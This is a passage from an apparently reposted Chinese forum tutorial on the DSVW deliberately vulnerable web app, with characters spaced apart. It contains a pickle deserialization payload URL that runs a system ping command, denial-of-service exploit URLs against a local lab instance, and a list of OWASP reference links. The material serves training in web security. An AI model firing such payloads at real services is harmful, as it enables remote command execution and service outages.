u b m i t "   v a l u e = " L o g i n " > < / f o r m > < / b o d y > < / h t m l > h t t p : / / 1 2 7 . 0 . 0 . 1 : 6 5 4 1 2 / ? o b j e c t = c o s % 0 A s y s t e m % 0 A ( S % 2 7 p i n g % 2 0 - c % 2 0 5 % 2 0 1 2 7 . 0 . 0 . 1 % 2 7 % 0 A t R . % 0 A
拒 绝 服 务 拒 绝 服 务 ( m e m o r y ) :   资 源 消 耗 型 的   D o S   攻 击 ,   通 过 大 量 的 恶 意 请 求 来 访 问 有 缺 陷 的 服 务 ,   从 而 造 成 服 务 器 的 系 统 资 源 消 耗 ( 如 :   C P U 利 用 率 1 0 0 % 、 内 存 耗 尽 等 )   增 大 ,   来 影 响 正 常 用 户 的 使 用 。 往 往 会 造 成 正 常 用 户 的 无 法 打 开 或 无 法 访 问 等 一 系 列 问 题 。 漏 洞 地 址 漏 洞 地 址 :         h t t p : / / 1 2 7 . 0 . 0 . 1 : 6 5 4 1 2 / ? s i z e = 3 2 E X P L O I T : 5   参 考 链 接 参 考 链 接 h t t p s : / / g i t h u b . c o m / s t a m p a r m / D S V W h t t p s : / / w w w . o w a s p . o r g / i n d e x . p h p / T e s t i n g _ f o r _ S Q L _ I n j e c t i o n _ % 2 8 O T G - I N P V A L - 0 0 5 % 2 9 h t t p s : / / w w w . o w a s p . o r g / i n d e x . p h p / T e s t i n g _ f o r _ C S R F _ % 2 8 O T G - S E S S - 0 0 5 % 2 9 h t t p s : / / w w w . o w a s p . o r g / i n d e x . p h p / T e s t i n g _ f o r _ H T T P _ P a r a m e t e r _ p o l l u t i o n _ % 2 8 O T G - I N P V A L - 0 0 4 % 2 9 h t t p s : / / w w w . o w a s p . o r g / i n d e x . p h p / T e s t i n g _ f o r _ X M L _ I n j e c t i o n _ % 2 8 O T G - I N P V A L - 0 0 8 % 2 9 h t t p s : / / w w w . o w a s p . o r g / i n d e x . p h p / X P A T H _ I n j e c t i o n h t t p : / / w w w . w 3 s c h o o l . c o m . c n / x p a t h / h t t p s : / / w w w . o w a s p . o r g / i n d e x . p h p / T e s t i n g _ f o r _ R e f l e c t e d _ C r o s s _ s i t e _ s c r i p t i n g _ % 2 8 O T G - I N P V A L - 0 0 1 % 2 9 h t t p s : / / w w w . o w a s p . o r g / i n d e x . p h p / T e s t i n g _ f o r _ S t o r e d _ C r o s s _ s i t e _ s c r i p t i n g _ % 2 8 O T G - I N P V A L - 0 0 2 % 2 9 h t t p s : / / w w w . o w a s p . o r g / i n d e x . p h p / T e s t i n g _ f o r _ D O M - b a s e d _ C r o s s _ s i t e _ s c r i p t i n g _ % 2 8 O T G - C L I E N T - 0 0 1 % 2 9 h t t p : / / b l o g . k n o w n s e c . c o m / 2 0 1 5 / 0 3 / j s o n p _ s e c u r i t y _ t e c h n i c / h t t p s : / / s o b u g . c o m / a r t i c l e / d e t a i l / 1 1 h t t p s : / / w w w . o w a s p . o r g / i n d e x . p h p / C o n t e n t _ S p o o f i n g h t t p s : / / w w w . o w a s p . o r g / i n d e x . p h p / T e s t i n g _ f o r _ C l i c k j a c k i n g _ % 2 8 O T G - C L I E N T - 0 0 9 % 2 9 h t t p s : / / w w w . o w a s p . o r g / i n d e x . p h p / U n v a l i d a t e d _ R e d i r e c t s _ a n d _ F o r w a r d s _ C h e a t _ S h e e t h t t p s : / / w w w . o w a s p . o r g / i n d e x . p h p / F u l l _ P a t h _ D i s c l o s u r e h t t p s : / / w w w . i m p e r v a . c o m / r e s o u r c e s / g l o s s a r y ? t e r m = s o u r c e _ c o d e _ d i s c l o s u r e h t t p s : / / w w w . o w a s p . o r g / i n d e x . p h p / P a t h _ T r a v e r s a l h t t p s : / / w w w . o w a s p . o r g / i n d e x . p h p / T e s t i n g _ f o r _ R e m o t e _ F i l e _ I n c l u s i o n h t t p s : / / w w w . o w a s p . o r g / i n d e x . p h p / H T T P _ R e s p o n s e _ S p l i t t i n g h t t p : / / w w w . m o q i f e i . c o m / a r c h i v e s / 6 0 9 h t t p s : / / w w w . o w a s p . o r g / i n d e x . p h p / D e n i a l _ o f _ S e r v i c e * 本 文 作 者 ： M y K i n g s ， 转 载 请 注 明 来 自 F r e e B u f . C O M h t t p : / / 1 2 7 . 0 . 0 . 1 : 6 5 4 1 2 / ? s i z e = 9 9 9 9 9 9 9
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理